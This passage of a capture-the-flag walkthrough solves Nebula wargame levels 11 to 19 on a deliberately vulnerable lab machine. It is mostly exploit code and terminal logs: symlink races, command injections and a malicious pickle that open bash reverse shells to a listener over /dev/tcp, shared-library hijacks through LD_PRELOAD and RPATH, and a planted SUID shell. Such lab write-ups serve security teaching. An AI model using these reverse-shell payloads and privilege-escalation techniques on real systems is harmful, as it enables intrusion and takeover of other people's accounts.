fprintf(stdout, "Content-Length: 2048\n%s", buf);
}
Our exploit works by predicting the file that will be used by the flag11
binary, abusing the fact that Linux assigns PID numbers sequentially, and
symlinks that file to the /home/flag11/.ssh/authorized_keys
file. We are able
to do this because permissions are not actually checked during the creation
of symbolic links.
Full credits to @graugans for the idea.
level11@nebula:~$ gcc -o /home/level11/exploit /home/level11/exploit.c
level11@nebula:~$ /home/level11/exploit | /home/flag11/flag11
blue = 2048, length = 2048, pink = 395
blue = 1653, length = 2048, pink = 0
flag11: fread fail(blue = 1653, length = 2048): Operation not permitted
level11@nebula:~$ ls -lah /home/flag11/.ssh
total 4.0K
drwxr-xr-x 1 flag11 flag11 60 2018-01-01 04:28 .
drwxr-x--- 1 flag11 level11 60 2012-08-20 18:58 ..
-rw------- 1 flag11 level11 395 2018-01-01 04:28 authorized_keys
Once we have written the authorized_keys
file, we are able to SSH in
as the flag11 user.
level11@nebula:~$ ssh -i /home/level11/.ssh/id_rsa flag11@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
_ __ __ __
/ | / /__ / /_ __ __/ /___ _
/ |/ / _ \/ __ \/ / / / / __ `/
/ /| / __/ /_/ / /_/ / / /_/ /
/_/ |_/\___/_.___/\__,_/_/\__,_/
exploit-exercises.com/nebula
For level descriptions, please see the above URL.
To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.
Currently there are 20 levels (00 - 19).
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)
* Documentation: https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
flag11@nebula:~$ whoami
flag11
flag11@nebula:~$ id
uid=988(flag11) gid=988(flag11) groups=988(flag11)
flag11@nebula:~$ getflag
You have successfully executed getflag on a target account
Given that the flag11
binary drops privileges, I am not able to get the
second method of exploiting this level working. If anyone does, do drop me
an email letting me know how!
level 12
We are given the below source code.
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end
end
client:close()
end
This is a command injection very similar to level 07 that can be exploited in
the same way. The lua script reads a line from the socket and passes it
directly to the io.popen()
function call.
We start by setting up a netcat listener.
ncat -nlvp 8000
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 5F3F 6ECC 75A2 4FF9 C358 2913 09FF 5C75 6D50 F5A4
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
We make a telnet request and send our injected command.
level12@nebula:/home/flag12$ telnet localhost 50001
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Password: echo asdf; bash -i >& /dev/tcp/192.168.144.1/8000 0>&1; echo asdf
We get a reverse shell.
Ncat: Connection from 192.168.144.191.
Ncat: Connection from 192.168.144.191:40283.
bash: no job control in this shell
flag12@nebula:/$ whoami
whoami
flag12
flag12@nebula:/$ id
id
uid=987(flag12) gid=987(flag12) groups=987(flag12)
flag12@nebula:/$ getflag
getflag
You have successfully executed getflag on a target account
level 13
We are given the below source code.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#define FAKEUID 1000
int main(int argc, char **argv, char **envp)
{
int c;
char token[256];
if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}
// snip, sorry :)
printf("your token is %s\n", token);
}
The security check relies entirely on the getuid()
function to return a none
1000
value. We can break this by using LD_PRELOAD
to load a shared object
file containing a custom getuid()
function.
We have the following fake.c
file:
int getuid() {
return 1000;
}
We compile the code as a shared object.
level13@nebula:~$ gcc -shared -fPIC -o /home/level13/fake.so /home/level13/fake.c
We try running the flag13
binary with our fake.so
preloaded.
level13@nebula:~$ LD_PRELOAD=/home/level13/fake.so /home/flag13/flag13
Security failure detected. UID 1014 started us, we expect 1000
The system administrators will be notified of this violation
This fails because LD_PRELOAD
does not work with SUID binaries. Without this
security feature in place, it would be trivial to abuse any SUID binary for
privilege escalation by loading custom shared objects.
We get around this limitation by making a copy of the flag13
binary without
the SUID bit set. This works because the binary itself contains the token and
does not rely on the SUID bit to read data from anywhere.
level13@nebula:~$ cp /home/flag13/flag13 /home/level13/flag13
level13@nebula:~$ LD_PRELOAD=/home/level13/fake.so /home/level13/flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
Like in previous levels, the string in the token file is the password for the flag13 user.
level13@nebula:~$ su - flag13
Password:
flag13@nebula:~$ whoami
flag13
flag13@nebula:~$ id
uid=986(flag13) gid=986(flag13) groups=986(flag13)
flag13@nebula:~$ getflag
You have successfully executed getflag on a target account
level 14
We are told that the /home/flag14/flag14
binary encrypts input and writes it
to standard output.
We try entering some inputs:
level14@nebula:~$ /home/flag14/flag14 -e
AAAAA
ABCDE
level14@nebula:~$ /home/flag14/flag14 -e
12345
13579
level14@nebula:~$ /home/flag14/flag14 -e
BBBBB
BCDEF
The cipher seems simply enough to break. It appears that each character is shifted a number of times depending on its position within the string. The first character is shifted 0 times, the second character is shifted 1 times, and so on.
We write a python script, decrypt_14.py
to reverse this encryption scheme.
import sys
def decrypt(data):
ret = []
for pos, i in enumerate(data):
a = ord(i)
a -= pos
ret.append(chr(a))
return "".join(ret)
if __name__ == "__main__":
print(decrypt(sys.argv[1]))
We run it to decrypt the token.
level14@nebula:~$ cat /home/flag14/token | xargs python decrypt_14.py
8457c118-887c-4e40-a5a6-33a25353165
Like in previous levels, the decrypted string in the token file is the password for the flag14 user.
level14@nebula:~$ su - flag14
Password:
flag14@nebula:~$ whoami
flag14
flag14@nebula:~$ id
uid=985(flag14) gid=985(flag14) groups=985(flag14)
flag14@nebula:~$ getflag
You have successfully executed getflag on a target account
level 15
We are told to strace
the /home/flag15/flag15
binary.
level15@nebula:~$ strace /home/flag15/flag15
... snip ...
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
... snip ...
We notice that the binary is looking for libc.so.6
in various locations
before eventually using the one at /lib/i386-linux-gnu/libc.so.6
.
We also notice that /var/tmp/flag15
is writable by the level15 user. This
means that we can drop in a libc.so.6
shared object file in /var/tmp/flag15
that runs some code to get us a shell.
level15@nebula:~$ ls -lah /var/tmp
total 0
drwxrwxrwt 3 root root 29 2012-08-23 18:46 .
drwxr-xr-x 1 root root 120 2011-12-06 22:46 ..
drwxrwxr-x 2 level15 level15 3 2012-10-31 01:38 flag15
Digging further into the flag15
binary, we see that the RPATH
is set to
/var/tmp/flag15
. The RPATH
is used by the dynamic linker at run time to
search for libraries. The neat thing about RPATH
is that it is not subject
to the same security model as LD_PRELOAD
and it works with SUID binaries.
level15@nebula:~$ objdump -p /home/flag15/flag15
/home/flag15/flag15: file format elf32-i386
... snip ...
Dynamic Section:
NEEDED libc.so.6
RPATH /var/tmp/flag15
INIT 0x080482c0
FINI 0x080484ac
GNU_HASH 0x080481ac
STRTAB 0x0804821c
SYMTAB 0x080481cc
STRSZ 0x0000005a
SYMENT 0x00000010
DEBUG 0x00000000
PLTGOT 0x08049ff4
PLTRELSZ 0x00000018
PLTREL 0x00000011
JMPREL 0x080482a8
REL 0x080482a0
RELSZ 0x00000008
RELENT 0x00000008
VERNEED 0x08048280
VERNEEDNUM 0x00000001
VERSYM 0x08048276
Version References:
required from libc.so.6:
0x0d696910 0x00 02 GLIBC_2.0
The next step is to find out what functions for libc.so.6
the flag15
binary
uses so we can find an appropriate function to hook.
level15@nebula:~$ objdump -R /home/flag15/flag15
/home/flag15/flag15: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT puts
0804a004 R_386_JUMP_SLOT __gmon_start__
0804a008 R_386_JUMP_SLOT __libc_start_main
__libc_start_main
seems like a good function to hook. The purpose of the
function is to initialize the process before calling main()
and so will be
called before anything in the program runs. This reduces the likelihood of
something going wrong with our exploit.
We write a fake.c
and attempt to compile and use it.
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
system("/bin/sh");
}
level15@nebula:~$ gcc -shared -fPIC -o /var/tmp/flag15/libc.so.6 /home/level15/fake.c
level15@nebula:~$ /home/flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference
To debug this error, we make a copy of the binary without the SUID bit set and
run it with LD_DEBUG
.
level15@nebula:~$ cp /home/flag15/flag15 /home/level15/flag15
level15@nebula:~$ LD_DEBUG=all /home/level15/flag15
... snip ...
3207: checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file /home/level15/flag15 [0]
3207: /var/tmp/flag15/libc.so.6: error: version lookup error: no version information available (required by /home/level15/flag15) (continued)
/home/level15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/level15/flag15)
3207: checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file /var/tmp/flag15/libc.so.6 [0]
3207: /var/tmp/flag15/libc.so.6: error: version lookup error: no version information available (required by /var/tmp/flag15/libc.so.6) (continued)
/home/level15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
3207: checking for version `GLIBC_2.1.3' in file /var/tmp/flag15/libc.so.6 [0] required by file /var/tmp/flag15/libc.so.6 [0]
3207: /var/tmp/flag15/libc.so.6: error: version lookup error: no version information available (required by /var/tmp/flag15/libc.so.6) (continued)
/home/level15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
3207:
3207: relocation processing: /var/tmp/flag15/libc.so.6 (lazy)
3207: symbol=__cxa_finalize; lookup in file=/home/level15/flag15 [0]
3207: symbol=__cxa_finalize; lookup in file=/var/tmp/flag15/libc.so.6 [0]
3207: /var/tmp/flag15/libc.so.6: error: relocation error: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference (fatal)
/home/level15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference
We see that we are missing the __cxa_finalize
symbol as well as the
GLIBC_2.0
version in our fake libc.so.6
shared object.
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
system("/bin/sh");
}
void __cxa_finalize(void * d) {
return;
}
We also create a version script containing the following:
GLIBC_2.0 {};
We attempt to compile and use it:
level15@nebula:~$ gcc -o /var/tmp/flag15/libc.so.6 -shared -fPIC -Wl,--version-script=/home/level15/version /home/level15/fake.c
level15@nebula:~$ /home/flag15/flag15
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference
We see that the system
symbol is not linked. We can get around this by
compiling it statically into our libc.so.6
shared object.
level15@nebula:~$ gcc -o /var/tmp/flag15/libc.so.6 -static-libgcc -shared -fPIC -Wl,--version-script=/home/level15/version,-Bstatic /home/level15/fake.c
level15@nebula:~$ /home/flag15/flag15
sh-4.2$ whoami
flag15
sh-4.2$ id
uid=1016(level15) gid=1016(level15) euid=984(flag15) groups=984(flag15),1016(level15)
sh-4.2$ getflag
You have successfully executed getflag on a target account
level 16
We are given the below source code.
#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));
There is an obvious command injection via the username
parameter:
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
However, exploitation is complicated by the fact that all characters from "a-z" is converted to uppercase.
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
We start by setting up our netcat listener as usual:
ncat -nlvp 8000
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 5F3F 6ECC 75A2 4FF9 C358 2913 09FF 5C75 6D50 F5A4
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Next, we write our exploit into a file whose name contains only uppercase characters.
level16@nebula:~$ cat /tmp/EXPLOIT
bash -i >& /dev/tcp/192.168.144.1/8000 0>&1
Finally, we make a HTTP request with url with `/*/EXPLOIT`
URL encoded
as the username parameter. This makes use of bash's wildcard expansion feature
to run the /tmp/EXPLOIT
file without having to use non uppercase characters.
level16@nebula:~$ curl "192.168.144.192:1616/index.cgi?username=%60%2F%2A%2FEXPLOIT%60&password=asdf"
We obtain a shell with our listener.
Ncat: Connection from 192.168.144.192.
Ncat: Connection from 192.168.144.192:36816.
bash: no job control in this shell
flag16@nebula:/home/flag16$ whoami
whoami
flag16
flag16@nebula:/home/flag16$ id
id
uid=983(flag16) gid=983(flag16) groups=983(flag16)
flag16@nebula:/home/flag16$ getflag
getflag
You have successfully executed getflag on a target account
level 17
We are given the below source code.
#!/usr/bin/python
import os
import pickle
import time
import socket
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?\n")
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)
while True:
clnt, addr = skt.accept()
if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)
The vulnerability in this code lies the program deserializing data it reads
from the socket via pickle.loads()
. The pickle module should never be used
to deserialize untrusted data because it is trivial to obtain code execution.
obj = pickle.loads(line)
We start by setting up our netcat listener as usual:
ncat -nlvp 8000
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 5F3F 6ECC 75A2 4FF9 C358 2913 09FF 5C75 6D50 F5A4
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
We use the below Python script to generate an exploit.pickle
file that
contains our exploit.
import cPickle
import os
class Exploit(object):
def __reduce__(self):
return (os.system, (("bash -i >& /dev/tcp/192.168.144.1/8000 0>&1"),))
with open("exploit.pickle", "wb") as f:
cPickle.dump(Exploit(), f, cPickle.HIGHEST_PROTOCOL)
We run the below command using the generated the exploit.pickle
.
root@kali:/mnt/hgfs/Share# cat exploit.pickle | ncat 192.168.144.192 10007
Accepted connection from 192.168.144.1:51252
We obtain a shell with our listener.
Ncat: Connection from 192.168.144.192.
Ncat: Connection from 192.168.144.192:36817.
bash: no job control in this shell
flag17@nebula:/$ whoami
whoami
flag17
flag17@nebula:/$ id
id
uid=982(flag17) gid=982(flag17) groups=982(flag17)
flag17@nebula:/$ getflag
getflag
You have successfully executed getflag on a target account
level 18
We are given the below source code.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>
struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;
#define dprintf(...) if(globals.debugfile) \
fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
fprintf(globals.debugfile, __VA_ARGS__)
#define PWFILE "/home/flag18/password"
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
}
void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}
void setuser(char *user)
{
char msg[128];
sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);
}
int main(int argc, char **argv, char **envp)
{
char c;
while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}
dprintf("Starting up. Verbose level = %d\n", globals.verbose);
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
while(1) {
char line[256];
char *p, *q;
q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;
dvprintf(2, "got [%s] as input\n", line);
if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}
return 0;
}
We are told that there are three ways to solve this level. For the purpose of this walkthrough, we will attempt the easiest way.
#define PWFILE "/home/flag18/password"
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
}
We see that the login()
function opens the /home/flag18/password
file
and compares the input against the contents of that file. However, the login
function succeeds no matter the input if opening the file fails. We can force
this to happen if we starve the process of available file descriptors.
level18@nebula:~$ ulimit -n
1024
We see that there is a limit of 1024 file descriptors per process. Looking at
the disassembly of the flag18
binary, we see that the fclose(fp)
function
call from the source isn't actually present in the binary. This means that
the login function consumes one file descriptor without freeing it every time
it is called.
We now have our attack plan. We will call login
1021 times (3 file
descriptors are required for stdin, stdout and stderr) giving us a process that
has consumed 1024 file descriptors, call login
again which will succeed
before calling shell
to execve
our shell.
level18@nebula:~$ python -c "print 'login asdf\n' * 1022" > commands
level18@nebula:~$ python -c "print 'shell\n'" >> commands
level18@nebula:~$ cat commands | /home/flag18/flag18
/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24
This fails because running execve
itself requires a file descriptor. This
means that we need to free up a file descriptor after calling login
and
before calling shell
. Conveniently, the closelog
command does just that.
Our modified attack plan will be to call login
1020 times (3 file descriptors
for stdin, stdout and stderr plus 1 file descriptor for the debug file) giving
us a process that has consumed 1024 file descriptors. We will call login
again which will succeed, then we will call closelog
that closes the debug
file, freeing up a file descriptor. Finally, we will call execve
to obtain
our shell.
level18@nebula:~$ python -c "print 'login asdf\n' * 1021" > commands
level18@nebula:~$ python -c "print 'closelog\n'" >> commands
level18@nebula:~$ python -c "print 'shell\n'" >> commands
level18@nebula:~$ cat commands | /home/flag18/flag18 -d /dev/tty
Starting up. Verbose level = 0
logged in successfully (without password file)
/home/flag18/flag18: -d: invalid option
Usage: /home/flag18/flag18 [GNU long option] [option] ...
/home/flag18/flag18 [GNU long option] [option] script-file ...
GNU long options:
--debug
--debugger
--dump-po-strings
--dump-strings
--help
--init-file
--login
--noediting
--noprofile
--norc
--posix
--protected
--rcfile
--restricted
--verbose
--version
Shell options:
-irsD or -c command or -O shopt_option (invocation only)
-abefhkmnptuvxBCHP or -o option
This fails because argv
is passed to /bin/sh
during the execve
function
call and /bin/sh
does not recognize the -d
option present in our argv
.
execve("/bin/sh", argv, envp);
Adding --rcfile
or --init-file
flag pointing to a bogus file seems
sufficient to bypass this check.
level18@nebula:~$ cat commands | /home/flag18/flag18 --rcfile /dev/null -d /dev/tty
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
Starting up. Verbose level = 0
logged in successfully (without password file)
whoami
flag18
id
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
getflag
You have successfully executed getflag on a target account
level 19
We are given the below source code.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
/* stat() it */
if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
printf("You are unauthorized to run this program\n");
}
The program checks if the parent PID belongs to root and starts the shell only if it does.
The key to bypassing this check is the fact that on old Linux systems
(pre 3.4 kernel) the PPID of an orphaned process is set to the init
process which is owned by the root user.
level19@nebula:~$ uname -a
Linux nebula 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686 i686 i386 GNU/Linux
We simply have to write a program that executes the flag19
binary and kills
the parent process before the flag19
binary runs.
First, we prepare our shell.c
:
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv, char **envp) {
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/bin/bash");
}
Next, we write our exploit code that forks a child process, sleeps the child
process until the parent process exits, then runs the flag19
binary to
compile our shell.c
code.
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv, char **envp) {
pid_t child = fork();
if (child == 0) {
sleep(3);
char *args[] = {"/bin/sh", "-c", "gcc /home/level19/shell.c -o /home/flag19/shell; chmod 4777 /home/flag19/shell", NULL};
execve("/home/flag19/flag19", args, envp);
}
return 0;
}
We compile and run our exploit code.
level19@nebula:~$ gcc -o /home/level19/exploit /home/level19/exploit.c
level19@nebula:~$ /home/level19/exploit
After a few seconds, we see a /home/flag19/shell
binary.
level19@nebula:~$ ls -lah /home/flag19
total 21K
drwxr-x--- 1 flag19 level19 60 2017-12-27 22:56 .
drwxr-xr-x 1 root root 260 2012-08-27 07:18 ..
-rw-r--r-- 1 flag19 flag19 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag19 flag19 3.3K 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag19 level19 7.4K 2011-11-20 21:22 flag19
-rw-r--r-- 1 flag19 flag19 675 2011-05-18 02:54 .profile
-rwsrwxrwx 1 flag19 level19 7.2K 2017-12-27 22:56 shell
Running it gets us a shell.
level19@nebula:~$ /home/flag19/shell
flag19@nebula:~$ whoami
flag19
flag19@nebula:~$ id
uid=980(flag19) gid=1020(level19) groups=980(flag19),1020(level19)
flag19@nebula:~$ getflag
You have successfully executed getflag on a target account